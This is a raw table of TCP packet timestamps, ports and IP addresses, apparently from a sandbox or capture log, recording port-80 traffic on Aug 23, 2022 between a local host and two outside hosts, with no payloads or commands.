Aug 23, 2022 03:42:56.288999081 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289002895 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.289041996 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289072037 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.289082050 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289100885 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.289119959 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.289124966 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289166927 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289205074 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289231062 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.289244890 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289252996 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.289283037 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.289284945 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289321899 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.289325953 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289367914 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289374113 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.289407969 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289448023 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289449930 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.289489031 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289529085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.289537907 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.289571047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.289612055 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.289627075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.289649010 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.289652109 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289659023 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.289694071 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289702892 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.289732933 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289745092 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.289774895 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289777994 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.289815903 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289855003 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289860010 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.289895058 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289935112 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.289937973 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.289972067 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.289973974 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.290015936 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.290054083 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.290087938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.290091038 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.290095091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.290119886 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.290139914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.290149927 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.290178061 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.290194988 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.290219069 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.290225983 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.290257931 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.290260077 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.290302038 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.290303946 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.290343046 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.290383101 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.290390968 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.290424109 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.290462971 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.290465117 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.290498972 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.290503979 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.290524006 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.290538073 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.290544987 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.290584087 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.290585995 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.290627956 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.290669918 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.290673018 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.290709019 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.290709019 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.290750027 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.290790081 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.290791035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.290829897 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.290869951 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.290872097 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.290910006 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.290910006 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.290950060 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.290951014 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.290992022 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.291030884 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.291032076 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.291071892 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.291112900 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.291112900 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.291156054 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.291197062 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.291202068 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.291235924 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.291237116 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.291285038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.291327000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.291327000 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.291388988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.291393042 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.291414976 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.291429043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.291460037 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.291466951 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.291470051 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.291510105 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.291512012 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.291549921 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.291573048 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.291588068 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.291589975 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.291630030 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.291630030 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.291671991 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.291673899 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.291688919 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.291713953 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.291713953 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.291754007 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.291794062 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.291794062 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.291824102 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.291832924 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.291835070 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.291873932 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.291912079 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.291913986 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.291920900 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.291923046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.291953087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.291954994 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.291996002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.292037010 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.292040110 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.292076111 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.292078972 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.292114973 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.292123079 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.292191029 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.292232037 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.292256117 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.292273045 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.292309999 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.292315006 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.292356968 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.292366028 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.292399883 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.292439938 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.292443991 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.292476892 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.292479992 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.292521000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.292562008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.292566061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.292598963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.292602062 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.292643070 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.292643070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.292684078 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.292686939 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.292725086 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.292763948 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.292764902 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.292805910 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.292845964 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.292846918 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.292884111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.292926073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.292927980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.292963028 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.292963982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.293004036 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.293004036 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.293045998 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.293072939 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.293087959 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.293092966 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.293128014 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.293129921 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.293170929 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.293209076 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.293241024 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.293248892 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.293250084 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.293291092 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.293303013 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.293317080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.293332100 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.293340921 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.293364048 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.293380976 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.293401957 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.293407917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.293442011 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.293442965 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.293483973 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.293521881 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.293553114 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.293565989 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.293592930 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.293592930 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.293632984 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.293672085 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.293677092 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.293710947 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.293751001 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.293751001 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.293812990 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.293853045 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.293853998 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.293895006 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.293934107 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.293939114 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.293975115 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294017076 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294017076 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.294055939 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294094086 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.294095993 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294137955 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294177055 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294183016 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.294218063 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294256926 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294259071 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.294296026 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294336081 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294364929 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.294377089 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294415951 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294416904 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.294456005 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294495106 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294497967 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.294537067 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294575930 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294576883 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.294616938 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294656992 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294656992 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.294698000 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294739008 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294740915 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.294778109 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294787884 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.294819117 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294822931 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.294861078 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294899940 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294904947 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.294939995 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.294958115 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.294975042 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.294981003 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295020103 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295042038 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.295053005 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.295058012 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295098066 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.295099020 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295141935 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295181990 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295206070 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.295222044 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295238018 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.295242071 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.295262098 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.295262098 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295303106 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295341969 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295361042 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.295401096 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295440912 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295469046 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.295480013 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295520067 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295525074 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.295558929 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295597076 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295598030 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.295636892 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295675993 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295677900 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.295717001 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295757055 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.295758009 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295798063 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295838118 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295839071 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.295877934 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.295922995 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.297215939 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.297256947 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.297297955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.297323942 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.297342062 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.297360897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.297382116 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.297398090 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.297449112 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.297470093 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.297548056 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.297578096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.301557064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.301577091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.301594019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.301609039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.301628113 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.301637888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.301695108 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.301721096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.301739931 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.301753998 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.301758051 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.301795006 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.302812099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.302831888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.302848101 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.302862883 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.302892923 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.302926064 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.303248882 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303267002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303287983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303307056 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303324938 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303320885 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.303342104 CEST	49743	80	192.168.2.4	45.95.11.158
